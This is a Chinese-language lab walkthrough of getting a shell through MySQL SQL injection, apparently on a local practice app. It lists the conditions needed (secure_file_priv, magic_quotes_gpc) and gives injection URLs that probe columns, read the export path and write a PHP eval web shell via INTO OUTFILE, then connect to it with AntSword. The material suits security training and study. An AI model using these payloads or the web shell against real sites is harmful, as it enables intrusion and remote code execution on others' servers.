目标配置
服务器:Windows server 2003
搭建环境:PHPstudy 2016
PHP版本5.4.45
mysql版本:mysql5.5.29
GetShell条件
1、网站绝对路径
2、有写出文件权限
3、PHP.ini的magic_quotes_gpc为off
4、my.ini的secure_file_priv不为null
SELECT @@GLOBAL.secure_file_priv
SHOW VARIABLES LIKE "secure_file_priv"
into outfile
load_file(filename)
secure_file_priv功能
- 其中当参数
secure_file_priv
为空时,对导入导出无限制 - 当值为一个指定的目录时,只能向指定的目录导入导出
- 当值被设置为NULL时,禁止导入导出功能
- 版本小于mysql5.5.29不需要设置secure_file_priv也可以导出
利用过程
1、找到注入点
http://192.168.1.12/vul/sqli/sqli_str.php?name=lili&submit=%E6%9F%A5%E8%AF%A2
2、使用order by语法查询可显示的字段
http://192.168.1.12/vul/sqli/sqli_str.php?name=lili' order by 1,2 --&submit=%E6%9F%A5%E8%AF%A2
http://192.168.1.12/vul/sqli/sqli_str.php?name=lili' order by 1,2,3 --&submit=%E6%9F%A5%E8%AF%A2
3、使用union语法查询secure_file_priv
http://192.168.1.12/vul/sqli/sqli_str.php?name= 123 ' union select 1,(SELECT @@GLOBAL.secure_file_priv) -- &submit=%E6%9F%A5%E8%AF%A2
your uid:1
your email is: C:\phpStudy\WWW\backup\
得到可输出的路径:C:\phpStudy\WWW\backup\
4、使用into outfile语句写入一句话木马
<?php eval(@$_POST['test'])?>
http://192.168.1.12/vul/sqli/sqli_str.php?name= 123 ' union select "","<?php eval(@$_POST['test'])?>" into outfile 'C:/phpStudy/WWW/backup/test2.php' -- &submit=%E6%9F%A5%E8%AF%A2
写入成功
文件已存在
5、使用剑蚁连接一句话木马
WebShell
Getshell
资料链接:
- SQL注入getshell:https://blog.csdn.net/cjx529377/article/details/106418511
- 报错注入邂逅load_file&into outfile搭讪LINES:https://xz.aliyun.com/t/2460
- MYSQL新特性secure_file_priv对读写文件的影响:https://xz.aliyun.com/t/2293